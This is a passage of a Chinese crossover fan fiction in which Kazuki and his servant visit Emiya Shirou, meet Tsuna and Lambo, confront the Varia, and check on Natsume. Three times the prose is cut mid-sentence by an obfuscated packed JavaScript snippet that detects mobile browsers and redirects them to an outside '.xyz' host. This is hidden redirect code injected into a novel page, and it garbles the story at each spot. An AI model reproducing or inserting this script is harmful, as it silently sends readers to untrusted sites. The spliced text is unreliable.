“哇,好香的味道!”捧着卫宫士郎递过来的蛋包饭,一树的蓝眼睛闪闪发光。卫宫士郎看着他从衣服口袋里掏出一瓶美乃滋,然后跟不要钱似的挤了一大坨,严严密密的盖在整个蛋包饭上,这才心满意足的拿着勺子吃起来,不由欲言又止,止言又欲…… 这个人真的不是特意来蹭饭的吗? 不然谁会随身携带这么大一瓶美乃滋啊! 但这个问题的答案不管是什么,感觉尴尬的都只有自己,所以他干脆不去问了。 “哼,这一次,你居然没有召唤你的先祖吗?”还是阿尔托莉雅突然开口说道。 按理说,上一次圣杯战争,她是被卫宫切嗣召唤的Saber,也算是一树的老对手了,然而实际上,她只和对方的Archer宇智波佐助打过交道,连这个御主的脸都没见过,此时此刻,居然是他们第一次照面。 不过想想上一次圣杯战争他才十二岁,骑士王就忍不住一阵恶寒。她当然知道,自己当时的御主,卫宫切嗣不会因为他年幼就对他心慈手软,肯定在她没看到的地方对年幼的魔术师下过死手,才害得对方的家长那么冷酷无情的找上门来,即使作为对手,她居然诡异的有些能够理解……? “其实,我召唤了,你知道的嘛,我不可能只召唤一个从者的。”一树一边吞下一口裹满了美乃滋的蛋包饭,一边用云淡风轻的语气说出了十分恬不知耻的话。他抬起头来看了阿尔托莉雅一眼,突然瞪圆了蓝眼睛,使劲往她面前的餐盘上打量。 那盘蛋包饭呢? 怎么就突然被吃光了?? 为什么桌子上只剩下一个锃光瓦亮,仿佛在闪闪发光,比阿尔托莉雅头还大的盘子??? 要知道他刚进门的时候,那还是一盘热腾腾、满当当,充满诱惑,连蛋皮都完好无损的蛋包饭啊! 阿尔托莉雅显然不明白他在惊讶什么,她也用云淡风轻的语气对屋子的主人说道:“我还要一盘。” 卫宫士郎:“……” 因为原本要给阿尔托莉雅添的饭平均分给了一树和散兵,士郎不得不穿上围裙,重新回到厨房炒饭。一树张了张嘴巴,心想亚瑟王都是女孩了,自己好像根本没必要为她吃得多而惊讶,这么一想,他轻而易举的说服了自己,继续说了下去:“……只不过他们觉得我已经长大了,不用寸步不离的跟着我了,所以不在我身边。” 这倒也不是什么奇怪的事,阿尔托莉雅很轻易的接受了:“那么你来这里,是为了向我发起决斗的吗?” “可以这么说吧……但是,我想先告诉你们一些信息。”毕竟对面坐着的,可是不列颠的永恒之王,出身英国的一树也难免对她比别人更有好感,更何况在传说里,骑士王毫无疑问是一位善良且高洁的存在,如果能够让她明白圣杯现有的问题的话,或许她能够成为自己的盟友呢? 抱着这样的希望,他向英灵解释了圣杯被污染的前因,一边说一边发现坐在桌子另一边的紫发少女似乎有些坐立难安,尽管她一直低着头,努力表现得若无其事的吃着自己碗里的饭。阿尔托莉雅则是一脸严肃的和他对视着,认真听完了他说的每一句话,片刻后,她沉吟着说道:“你已经赢得过一次圣杯,应该也用它实现过愿望了吧,那个愿望最终怎么样了?” “我妹妹许愿要很多糖,然后她得到了一屋子苦的要命的怪味糖果。当年她才两岁,为此哭了好久,爸爸妈妈还不得不为她换了个房间。”一树笑着说道。随着小薰逐渐长大,这件事在很长一段时间都是家里人最爱说的笑话,毕竟妹妹被打趣的时候,那粉红的小脸和嘟起的小嘴实在太过可爱了。“萤大人说那些糖被圣杯里面的黑泥浸透了,人们吃下去以后会产生很多有趣的反应。所以那些糖到现在还有一部分留在我家的储藏室里。” “……你把圣杯的愿望给了你两岁的妹妹?!” 阿尔托莉雅把勺子插进了士郎新递给她的蛋包饭里。虽然理智告诉她,赢得胜利以后,一树想怎么许愿都是他的权力,但是想到自己始终未能面世的愿望,她还是气不打一处来,不由恶狠狠的舀了一大口米饭塞进嘴里。 “那当然了,我每次出门都要给小薰带礼物,圣杯不是正好嘛。”一树不以为然的回答。“愿望就是愿望,难道还有高低之分吗?而且事后我爸爸都说,幸好当时许愿的是小薰呢,如果换成是其他什么人,想要得到一大笔金钱,或许圣杯会挑起战争,让他能从中得利;想要时间逆转,让过去改变,那么圣杯或许会让人们的命运往更恐怖的深渊滑去;想要世界和平,那就更简单了,圣杯把全世界的人类都杀死,或者编制不同的美梦,除掉人类思考的能力,让他们沉浸在梦中,变成一动不动的傀儡,这样世界不就和平了嘛——就和我妹妹得到的糖一样,它固然苦涩,但难道就不是糖果了吗?” 他洋洋洒洒的说了一通,并不知道自己在无意中同时刺痛了对面一对主从的心。阿尔托莉雅紧紧捏着勺子,虽然极力克制,但思维还是忍不住朝着一树随口构想的方向联想了过去——如果她的愿望是这样扭曲的被实现……不,不,这也只是一树的一面之词,谁也不知道事实是否与他所说的完全一致。 “我知道了,这件事,我会去验证的,如果你说的是实话,那时候我会来找你。”骑士王如此承诺道。 “那真是太好了。如果你们需要找人商量的话,可以去找伊莉雅,因为我在来这里之前,已经去见过她了,也许你们可以再和她聊聊。”一树轻快的说道。在他的认知里,士郎和伊莉雅理所当然的是一家人,虽然因为参加圣杯战争的关系成了对手,但家人的优先级,怎么也该在对手上面嘛。 赫拉克勒斯恢复了神智,要说有谁最不适应,那当然是伊莉雅了,这个时候,有她的弟弟在身边陪伴,想来会给她带来一丝慰藉。 然而,出乎他预料的是,少年并没有流露出任何喜悦的表情;恰恰相反,他微微皱起眉,满是疑惑的询问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886651|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是谁?” “……诶?” 结果就是,他们花了更长的时间,才终于能从卫宫家离开,因为一树对着士郎坦白了他所知道的关于卫宫切嗣和爱因兹贝伦家族的所有事情。临走前,士郎把主从二人送到门口,眉头还止不住的紧锁着。他怎么也没想到,在养父过世几年以后,他会这样突兀的从旁人口中得知对方的消息,更没想到,在这次圣杯战争的参与者之中,居然还有养父的女儿。 所以……他们也能够算做是家人吧。 他已经决定要带着saber去城郊的城堡见她。 一树则是领着散兵七拐八拐,很快走上了一条热闹的商业街。他轻快的伸了个懒腰,对着身边因为有路人在而老老实实走在地上的英灵说道:“总算结束了呢!听我说听我说哦,接下来,我们只要去看看夏目,然后回家听修一说说远坂家和间桐家的情况就好了。” “比起爱因兹贝伦和卫宫,那两家的人应该更难对付吧。”散兵说。“如果不是这样,那个人也不会把事情揽在身上,而是任由你随意发挥了,所以,你一点都不担心吗?” “远坂家其实还好吧,他们家会用闪闪发光的漂亮宝石发动魔术哦!不过正因如此,财政状况大概不太好,所以我觉得修一哥哥应该能够说服她。至于间桐家嘛……其实,就算他不主动提出来,我也会拜托他来解决的。” 这么说着,一树扭过头,凑到散兵耳边说道:“虽然这么说别人家的魔术很不礼貌,毕竟魔术也没有什么高低之分,只要能够使用就行了。但是间桐家的家传魔术是虫魔术也!我最讨厌虫子了,如果不是迫不得已,真不想跟他们家的任何一个人交手。” 这下子,就连散兵也露出赞同的神情来,因为他也不喜欢那些会满地乱爬的昆虫。随后,他听到一树问道:“要吃点别的东西吗?这条街上有很多美食哦!” “哈,原来刚才,你没有吃饱吗?还是为了维护面子,不好意思叫人给你添饭?” 虽然嘴上说着嘲讽的话,但散兵心底其实隐隐有些高兴。早上吃早餐的时候,一树才夸过他手艺很好,谁知道到了中午,他就用同样高兴的表情夸了另一个人……虽然早就知道他就是这样一个爱无脑给别人捧场的家伙,但是他还是不由自主的生了会儿闷气,是以刚才在卫宫家一句话也没有说。 “我吃饱了啊,那还不是看你根本没吃几口嘛,不过,你做饭那么好吃,不喜欢吃别人做的,我也可以理解啦。”一树理所当然的回答道。他以为是蛋包饭不合人偶的胃口呢,所以刚才吃饭的时候,就打定主意等会儿要带他吃点喜欢的东西了。“来嘛来嘛,不用和我客气,满足从者的愿望,也是御主应该做的事情哦!” “如果御主就可以满足英灵的愿望,那还要圣杯做什么?”这样说着,人偶的嘴角却勾起了淡淡的微笑。“而且无论是作为英灵还是作为人偶,我都不需要进食也能行动,你应该是知道的吧?” “进食也不一定是为了维持生理需求啊,我觉得,这是保持心情畅快的一种方式,因为和朋友一起吃饭,总是会让人感觉很幸福呢。”一树心说吃过正餐以后,其实自己还真有点想吃零食,不过这点就不向英灵坦白了,他毕竟还是要面子的嘛。“来吧,我们先去那家店看看!” 26.第二十六章 最终,因为散兵再三拒绝再吃正餐,所以他们在冰淇淋店里各自买了一个冰淇淋吃,一树的那个堆着两个大大的香草冰淇淋球,还叫店家额外加了两勺糖浆,散兵的则是纯粹的咖啡风味。 然而,一树才刚把冰淇淋塞到嘴里咬了一大口,就听到一个听起来有些耳熟的小孩的声音在脚下气势汹汹的响起:“喂,你,就是你,快把你的冰淇淋献给蓝波大人!” “嗯?”一树低下头,看到了一棵长着奶牛身体的黑色花椰菜,不由困惑的歪了歪头。不过在那颗花椰菜转过头来,露出一对绿葡萄一样的大眼睛之后,他才明白,原来那不是花椰菜精灵,而是一个穿着奶牛装,顶着一头花椰菜似的卷毛的小孩。 好吧,虽然小朋友长得很可爱,但是一上来就想抢自己冰淇淋的发言还是太不可爱了。一树眨眨眼睛,故意把冰淇淋在他眼前晃晃,然后又大大咬了一口:“这是我的,才不要给你。” “什么?!”蓝波瞪大了眼睛,露出一副“你怎么能拒绝我”的好似被雷劈了一般的表情,片刻之后,他葡萄似的绿眼睛泛出泪光,嘴里不停嘟囔着:“要忍耐……” 然而,不过才过了五秒钟,他就忍不住哇哇大哭了起来,尖利的嗓音吓得一树差点没原地蹦起来:“哇哇哇……蓝波大人不要忍耐了,蓝波大人要炸死你!” 这样说着,他伸出小小的手,猛地从长而卷的头发里掏出了两根点燃的炸弹! 一树:“……” 虽然不明白为什么自己只是跟从者一起吃个点心,也能遇到这么诡异的小孩,一树还是尽职尽责的拦住了面露凶光的散兵,然后用魔术变走了蓝波扔过来的炸弹,小牛完全没有发现有什么不对,对自己根本没听见爆炸声的事置若罔闻,他只是理所当然的换了一副趾高气昂的表情,扣着鼻子对一树说道:“现在你知道蓝波大人的厉害了吧?赶紧把冰淇淋给蓝波大人交出来,蓝波大人就宽宏大量的原谅你!” 这么说着,他还试图用带着鼻涕的手去拉一树的衣服,然而回应他的,自然不会是递过来的冰淇淋,而是散兵忍无可忍砸下来的拳头:“不要用脏手抓别人的衣服,也不要随便问不认识的人要吃的,这么简单的事,家里没人教你吗?!” 但和蓝波讲这些道理是完全没有用处的,因为被打了以后,小牛捂着头上冒出来的大包,立刻从喉咙里发出了一声声比刚才更尖利、更伤心的哭闹。这倒是让散兵有些不安的动了动脚,虽然他肯定自己用的力气完全不会对蓝波造成伤害,但对方毕竟只是个孩子,万一承受能力比他预料中还差呢? 他刚想上前检查蓝波的状况,就有一个男人浑厚的嗓音在耳边响起,他古怪的掐着嗓子,又甜又腻的说道:“啊啦啦,怎么有孩子哭得那么伤心啊?不会是你们两个小坏蛋在欺负这个小弟弟吧。” 闻言,散兵转过头去一看,却在看清对方长相的那一刻,整个人都僵住了——来人顶着一头绿色的鸡冠朋克头,戴着一副红框墨镜,穿着一身橘红色毛领的黑色风衣,臂弯里挎着一堆鼓鼓囊囊的购物袋,明明脸怎么看都是男人,却若无其事的翘着小拇指,用着女性的口吻温柔的说道:“这样可不好哦,看他哭得多伤心啊~” 说着,他从购物袋里掏出一瓶金平糖,打开盖子掏出一颗,蹲下身递到蓝波面前:“给你,小朋友,吃了就别哭啦。” “哼!”蓝波接过他递过来的糖塞进嘴里,吸了吸鼻子,斜着眼睛对他说道:“丑八怪,看在你给蓝波大人吃糖的份上,蓝波大人就原谅你吧!” “什么?丑八怪?!”闻言,男人双手捧着脸,露出一个花容失色的惊讶表情,仿佛受到了巨大的打击。见此情形,一树连忙走到两个人中间,诚恳的对他说道:“姐姐,别听他胡说,像你这样漂亮又善良的人,现在已经很少见了呢。” 还真是睁着眼睛说瞎话啊。散兵给了他一个鄙夷的眼神。一树则是面不改色的朝他眨了眨眼睛:拜托,他可是欧洲人啊,在看过新拍的小O人鱼和O雪公主以后,他已经无所畏惧了,不就是政治正确嘛!美,都可以美! “啊啦啦,真是嘴甜的小家伙呢,长得这么可爱,还这么会说话,你将来一定会很受欢迎哦。”被他这么一说,男人瞬间从石化裂开的状态恢复了正常,抚着脸满头小花绽放。他重新掐起兰花指,甜甜蜜蜜的说道:“要打架的话,不如去那边的巷子打吧,这样就不会有大人来打扰你们了哦……” 一树:“……”果然还是因为那句丑八怪生气了啊! “不是的哦,我们不是在打架,其实,我和朋友也不认识他,他好像是和家里人走散了吧?”毕竟谁家也不可能放任一个四五岁的小孩到处乱跑嘛,一树这样想到。 “蓝波——” 恰在此时,他听到一声焦急的呼唤从街角传来,扭头一看,却是纲吉满头大汗的朝着他们跑了过来,一把抓住地上的小牛。“不是说去哪儿都要先告诉我吗?你——你怎么又一个人跑了!” “因为蓝波大人想吃冰淇淋,蠢纲,快给蓝波大人买冰淇淋!” 见到家长,蓝波欢叫一声,立刻凑过去又蹦又跳的提出要求。纲吉被他吵得头痛,而且他清楚的知道,只要他敢提出拒绝,蓝波立马就会大哭着在地上打滚,他刚刚才花了很长一段时间寻找他,实在不想再哄哭闹不休的小孩了,因此立刻妥协道:“好啦,给你买给你买。” 闻言,蓝波立刻高兴起来,欢叫着扑到了他的背上。虽然他一天里有二十三个小时五十分钟都是吵闹又可恶的,但起码还有十分钟是可爱的嘛,纲吉苦中作乐的想到,然后,他直起腰,对上了一树明显在憋笑的脸。 “师兄,还有这位……你们原来也在啊。”他有些尴尬的对还不太熟的同门和他的英灵打了声招呼。 “是的,你好呀,阿纲,我和散兵也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894528|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到会在这里遇到你。”一树往他身边看了看,没看到Assassin的身影,但考虑到对方职介的固有技能是气息遮断,即使他此时正站在一树身边,一树也是无法看到他的,是以他很快抛开了这一想法,笑着同纲吉说道:“这是你弟弟吗?他很可爱,就是有点任性哦。” “没关系,即使在我面前,你也可以直说,因为他就是很烦人。”纲吉理所当然的吐槽道,虽然他已经很习惯蓝波给他找事了,哪天没听到他的哭闹声反而觉得浑身不自在。他以最快的速度给蓝波买了冰淇淋,堵上了那张又要开始嚎叫的嘴,一树趁机给他介绍了还站在一边看着他们微笑的男人:“刚才多亏了这位大姐帮忙,才哄住蓝波哦,他还给蓝波吃了糖。” “是这样吗,那还真是谢谢大姐……”纲吉转过头,对上了一个又高又壮的男人的脸。 纲吉:“……” 纲吉:“!” 这不是个男人吗?不管怎么看这都是个男人吧! 为什么师兄会管他叫“大姐”? 难道他其实是性别认知障碍?自己在他眼里,不会也是女孩子吗?不要啊! “大姐家里也有孩子吗?毕竟你很擅长哄孩子呢。”偏偏不远处的一树还在神态自若的和对方交谈,那男人也丝毫没有被冒犯到的表情,反而带着点炫耀似的,嗔怪着对他说道:“是啊是啊,我们家也有两个不可爱的孩子呢,明明答应要陪我逛街的,结果一回头就找不到人了,真是令妈妈伤心呢~” 啊?妈妈?纲吉的眼睛瞪得更大了,原来面前这个人,真的是男大姐啊! ……是外国人的话,好像自己也不该太惊讶呢。同样看过小O人鱼和O雪公主的少年如此沉思到。 “xixixi……”忽然,他们听到一阵奇怪的笑声从高处传来,几个人抬头一看,就看到一个留着遮住眼睛的齐刘海、头上还戴着一顶王冠的少年站在路灯上,朝着他们露出一个几乎咧到嘴根的微笑:“你又在胡说八道了,鲁斯利亚,王子才没有什么妈妈呢~” “也不能说没有,但我以为我们的妈妈是斯夸罗呢。”站在他身边的人身材矮小,披着漆黑的斗篷,严严实实的戴着兜帽,只能从帽檐下窥见他的下半张脸。最让人惊讶的是,他并没有和王冠少年一样站在路灯上,而是好似幽灵一般飘在半空中,悠然自得的踩着空气。 “鬼啊!”纲吉第一个惨叫出声,蓝波抬头一看,也跟着瞪圆了眼睛,怪叫着说道:“啊啊啊,蓝波大人才不怕……怕你呢!蓝波大人要打败幽灵!” 他一边说着,一边伸手在满头卷发里又摸又找,随后猛地抽出一管大炮来。纲吉来不及吐槽他的异次元头发里到底装了多少奇奇怪怪的东西,就看到一个闪闪发光的东西从他乱糟糟的头发里滚出来,啪嗒砸在地上,不由下意识的把它捡了起来,捏在手指之间。 ——那是半枚彭格列戒指。 27.第二十七章 看清楚戒指的那一刻,纲吉整个人都不好了。 他当然认得这半枚戒指,因为他身上也带着一枚同样材质,只是印记略有不同的戒指——Reborn和迪诺告诉他,接下来他要做的,就是和拿到戒指的其他六个守护者一同打败从意大利而来的杀手组织瓦利安,拿到对方手里的半枚戒指,然后合成七个完整的戒指,以此来得到彭格列的继承权…… 但他们可没说,这里面还有蓝波的事啊! 这算什么?征用童工?不,这纯纯是变态吧啊啊啊! 而且蓝波不是波诺维家族的人吗?为什么会卷进彭格列家族的事情里来啊! “蓝波!”他抓住小牛,想要问清楚这么危险的戒指是哪个可恶的家伙交给他的,然而就在他抱住蓝波的那一刻,一种奇怪的直觉突然涌上心头,促使他猛的把蓝波的头往自己怀里一按,随后向后倒退了两步——等他反应过来的时候,一树已经闪身挡在了他的身前,手里握住一把电光闪烁的电击伞。 电光在他指尖闪烁着,却未能突破魔术的防御,甚至不曾伤到他白皙的皮肤。电击伞的主人翻过墙落到同伴身边,看到这一幕,不由怒发冲冠,强烈的嫉妒顿时充斥了他的整个心脏。 “你就是门外顾问选中的雷守?”他阴阳怪气的开口道。“哼,你不会以为,这点本事就可以成为瓦利安的对手吧?” “啊啦,列维,你太急了,拥有彭格列指环的不是这位小哥,而是那边那个嘴欠的小鬼哦。”鲁斯利亚十分高兴的提醒着同伴。“真是的,本来以为在夺取戒指以前要低调行事,讨厌的小鬼今天能逃过一劫……现在看来,今天果然是人家的幸运日呢!” “什么?彭格列指环在那个小鬼身上?!”列维大吃一惊,低头细看了一番,这才看到了纲吉捏在手里的戒指。他顿了顿,骤然间怒意翻涌,忍不住厉声说道:“竟然把属于Boss的彭格列十代之位托付给这么软弱无能的小鬼……!彭格列九代和门外顾问真是欺人太甚!” “……这么轻视对手的话,难道不会显得要和阿纲为敌的你们也很软弱无能吗?”一树小声嘀咕了一句,顺手把手里的电击伞折成两半,扔到了一边——列维不可置信的看着他的动作,怎么也想不明白,他那纤细的手指,是怎么轻而易举的做到这件事的。 “xixixi……总算来了点有趣的对手了吗?很好,这才有趣啊!”贝尔菲戈尔从路灯上跳了下来,顺手拉了一把玛蒙藏在黑袍下的脚。幻术师顺着他的力气,好似气球一般轻飘飘落到地上。“在这里拿到两枚戒指,回去就问Boss要奖金吧。” “不是……为什么我才应付完两个御主,现在还要加班管黑手党的事啊?”另一边,一树则是忧郁非常,觉得近日的自己果然还是诸事不顺。散兵冷哼一声,在他耳边说道:“我以为你知道,这里还有一个从者在等着御主向他下令呢。” “……不,让你去的话,不就完全是欺负人了吗。”一树吐槽道。对面再怎么离谱,终究也是人类,英灵可是在他魔力足够的情况下近乎不死不灭的生灵啊,他只是有点累了,倒也没有到不讲原则的地步啦。 “你就留在这里吧,毕竟,你可是我重要的秘密武器,什么事情都让你去做的话,人家也是会心疼的啦。”他玩笑似的说道,正要上前,却有人从旁边冲过来,先一步向敌人宣告了自己的姓名。 “彭格列晴家族守护者,可乐尼诺的大弟子,笹川了平,登场!” 穿着运动服,手上缠着绷带的少年挡在纲吉身前,朝着敌人举起了拳头。 随即,一捧炸弹宛若散落的烟花一般撒了落,猛地将瓦利安一行人笼罩在了其中,等到炸药炸死的烟尘彻底散去以后的事情,纲吉面前又多了两个人。 “十代目,抱歉来晚了!”大声宣告着自己到来的狱寺隼人,满是战意的紧紧盯着瓦利安的杀手们——他想要拿到的另一半岚戒就在他们手中,只是不知道是哪一个了。 “哈哈,阿纲,我也来玩黑手党游戏了哦。”另一个人则是扛着棒球棍,一脸兴高采烈笑容的山本。 “大哥,狱寺,山本!”见他们出现在这里,纲吉感动非常,甚至都懒得吐槽山本的天然发言了。“太好了,你们来了!” “唔咕。”在他怀里,蓝波则是像条脱了水的鱼一般使劲翻腾着,瞪着死鱼眼说道:“蓝波大人困了……阿纲,蓝波大人要睡觉,快点抱蓝波大人回去!” “不要这么若无其事的命令我啊,还有,你以为大家现在都是在为谁辛苦啊喂!” 而在几位守护者现身的同时,一树就默不作声的倒退了几步,一把抓住散兵的胳膊,几乎是拖着他走到了街角,把战场让给了彭格列的家族成员们。他注视着纲吉等人的目光已经褪去了刚才的疲倦,相反充满了欣赏的柔情——散兵对着他又开始疯狂冒花的后脑勺翻了个巨大的白眼,知道他老毛病又犯了。 “这才是你真正想要教导阿纲的东西吗,Reborn?”一树轻柔的开口说道。“果然就和我想的一样,比起我和迪诺,你更喜欢阿纲呢。” “总觉得你在想什么很恶心的事情。”Reborn的声音从他们身边响起。散兵抬头一看,就发现他们身边的一棵行道树动了起来……不,那不是树,那是装成行道树的Reborn。 ……为什么会有人COS成一棵树躲在这里啊?! 但一树脸上连半点意外的神色都没有,所以散兵推断这在他的认知里是很正常的一件事。Reborn靠在他们身边,脸上的表情和他穿着西装在桌子前优雅的喝咖啡时也没什么不同,让散兵颇有些钦佩他的厚脸皮——毕竟在这个岁数,还能不顾面子的做出这样事情的男人,实在是太少了。 “不要用你那颗充满了爱的脑袋来臆测我。”Reborn这样说道,从嘴里发出好似驱赶小狗一般的声音。“不管你想的是什么,我只是在做他的家庭教师而已。” “是啊,你让他结交朋友,让他决定自己的未来……会这么做的人,当然是他的老师啦,你在指引他走上一条很棒的道路,等他长大以后,回忆起现在这一刻,一定会明白你给他带来了许多欢笑……”一树不以为然的朝他眨了眨眼睛。“不要忙着反驳我哦,要知道我可是过来人,那么,这里有资格反驳我的人,就只有迪诺师兄一个了!” “你说的过来人,是指听说我要走的时候高兴得一夜没睡,还在给我的道别信上写‘希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906818|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望你下辈子也别来英国了’这样的经验之谈吗?” “讨厌,在你吐槽我之前,能不能先想想你对我做过哪些可怕的事啊,老师。” 一树说着,嗓音里自然而然的流露出几分撒娇的意味。行道树先生虽然一脸嫌弃,但还是伸手揉了揉他头顶倔强翘着的头发。 “我还有一个问题。” “嗯?” “从你的话里,我听出你知道阿纲以前没有朋友,不能自己做决定,也没什么快乐的日子……但你们才刚刚认识,无论是我还是蠢纲都不会跟你说这些,所以你是什么时候用写轮眼偷看他的记忆的?” “……” “你还是那么爱偷窥啊,我亲爱的。” “…………” 幸好瓦利安首领Xanxus的登场,打破了一树尴尬的沉默。然而,不等热血少年和冷血杀手真正打起来,纲吉的父亲沢田家光就出现在众人面前,喝止了众人的行动,并且拿出彭格列九代的敕令,让面前的两位继承人做好准备——接下来,拥有相同指环的两个人,会进行一对一的正式决斗,得到多数胜利的一方,就可以得到全部指环,正式确立为未来的彭格列十世! “……那真的是阿纲的爸爸吗?”看着看着,一树默默皱起了眉。 “的确长得不太像,但长相也不是评判血缘唯一的要素吧。”Reborn故意这么回应道。 “你早就见过我爸爸,就不用对我说这种话了吧。”闻言,一树更不高兴了。 他继承了母亲的黑色头发和东方人清丽的轮廓,但相对的,看起来和金发碧眼、高鼻深眼的父亲好似没有半点关系——与之相反的是他的妹妹薰,她从小到大都像商场里最受欢迎的洋娃娃一样美丽可爱,家里随处挂着她穿着各色公主裙、抱着花或者小熊的照片,秀幸带她出门的时候,即使不主动介绍,大家也轻而易举的能看出薰是他的女儿。 虽然自家妹妹毫无疑问是世上最可爱的小天使,但很偶尔、很偶尔的时候,一树也忍不住会嫉妒她那张和父亲更为相似的脸,是以他当然再清楚不过,孩子们不一定长得像父母了。 “长相并不重要,但是爸爸不是应该保护自己的孩子吗?”不容他推拒的,一树把话题转了回来。“真的会有爸爸会这么若无其事的让孩子置身危险之中吗?” “不是所有的父亲都必须保护自己的孩子。更何况家光身为彭格列的门外顾问,履行职责当然是他的第一要务。”Reborn才不想说,其实一树家那个爱他爱得令人毛骨悚然的父亲才是比较少见的一类,这世上大部分人的家庭都远不如他,也不知道他怎么好意思以此来要求别人的。 “何况……你是在轻视你的师弟吗?阿纲毫无疑问会成为合格的彭格列首领,你不必为此担心。” “那彭格列一世呢?”见说服不了他,一树冷笑着继续说道。“看着自己十五岁的、从来没有接触过黑手党的后代要被根本没有养过他,只负责往家里寄钱的父亲要求和一群杀手争夺一个他根本不想要的戒指,会让你为你的血裔感觉格外自豪吗?” ——在他阴阳怪气的话语中,一直静静隐身的Assassin,终于自虚空中缓缓现出身形。 28.第二十八章 总而言之,在太阳缓缓落的同时,一树假笑着和师弟告别,随后怒气冲冲的踏上了去夏目家的路。 “太过分了!”他一边走,一边止不住的同散兵抱怨道。“Assassin居然说什么,门外顾问也是按流程办事,他看不出有什么阻止的必要,难怪刚才纲吉差点被打到,他也一点露面的意思都没有……我看,他之前跟我说的,是为了保护阿纲才接受他的召唤,全都是骗人的吧!” 亏自己还因为他的身份,把他的危险等级放在了和夏目毫无关系的美狄亚下面呢,现在看来,自己还是放心得太早了。 “……”散兵有点无语。“是你太情绪化了,Assassin有句话还是说得很对的,这已经不是他的时代了,他也不是彭格列的现任首领,既然门外顾问的行动得到了现任首领的认可,那即便是他也不能随意插手。” “啊?不可以吗?”一树有些吃惊。因为上次圣杯战争之后,他带着几位先祖穿去平行时空的木叶,先祖们都会在第一时间插手那个完全不同的木叶的事宜,是以他从来不觉得有任何问题——即便是现在,萤大人想要插手家族的事,也不用问任何人的意见啊?他虽然还活着,但不也是五百年前的幽魂了嘛。 “……算了,那些都不重要,反正Reborn说我现在已经是门外顾问的一员了,那么按照规矩,我只要帮作为首领的师弟实现心愿就好了。”不过一转眼的功夫,一树就说服了自己,跃跃欲试的说道。“只要他不想要的,谁也不能勉强他接受!” 算了,他高兴就好。散兵这样想着,决定不提醒他如果认下门外顾问成员的身份,那他应该就要服从于身为门外顾问首领的沢田家光的事实了。 他们从窗户翻进夏目的房间的时候,发现屋子里没有开灯,少年和招财猫都不在家里,英灵自然也不见踪迹。一树吓了一跳,忙不迭的用水镜联系了原本也该守在此地的九喇嘛,然而水镜连通以后,从中传来的,却是各式各样的叫卖声和欢笑声—— “一树?对啊,大家今天都不在夏目家啊。”灯笼的柔光透过水镜照亮黑夜,九尾端着酒盏,好似人一样盘腿坐在草地上,哈哈笑着回答道。在他身后,还有各式各样奇形怪状的妖怪在走来走去。“之前东方之森那个首领六花恢复了,所以在森林里召开了庆典,邀请我们来玩呢,你要一起来吗?我们打算今晚通宵在这儿喝酒哦!” “哼,麻烦的小鬼,你是不是又在自己胡思乱想,以为夏目遇到了危险啊?”水镜里探过另一张狐狸一般的妖怪的脸,脸上还绘着红色的图腾,朝着水镜龇了龇牙。“这都是污蔑!有本大爷在,他好得很呢!” “你是……”一树不解的凝望着它黄绿色的瞳孔,好半晌,才大吃一惊,骤然大叫出声:“啊!你是夏目养的那只招财猫?!” “哈哈哈,被本大爷帅气的本体迷住了吧,粗鲁的小鬼,以后还敢对本大爷那么无礼吗?”斑大笑着说道。九喇嘛拿自己的酒盏碰了碰它爪子里的那只,不以为然的说道:“和他说那么多干嘛,继续喝酒啦。” 两个妖怪很快又喝作一团,把一树和水镜完全抛在了脑后,还是神智清醒的牛鬼探过头来,对满脸嫌弃的一树说道:“别担心啦,你安排的任务,九喇嘛就算嘴上不说,又有哪次没有为你完成呢?” “我看它们俩根本已经醉得连夏目姓什么都忘了呢。”一树不理会它的好心挽尊,毫不客气的吐槽道。“还通宵在这儿喝酒呢,不把夏目送回家去吗?夏目明天还要上学吧。” 呜呜,要不是有该死的圣杯战争要处理,害他不得不请假,他明天本来也应该去上课的呢。 “这不是还有我在嘛。”牛鬼懒洋洋的说道。“我会把你的小学弟好好送回去的,这总行了吧?” “先让我看他一眼!”一树很坚持,牛鬼于是耸了耸肩,离开了水镜,等它再回来的时候,已经把夏目贵志托在手心里,递到了水镜面前。 “学长!”夏目的脸微微有些泛红,眼底流转着温柔的光芒,神态看起来很是放松。见到这样的他,一树也终于松了口气,朝着学弟露出了微笑:“和你的朋友们玩得很高兴吗?我本来还担心会有妖怪对你不敬呢,没有真是太好了,看来那些苹果核总算学会识趣了嘛。” 当然也可能是他身边跟着的大妖怪太多,很好的震慑了在场的其他妖怪吧。但不管怎么说,看到他的生活完全没被圣杯战争所影响,一树就忍不住一阵高兴。 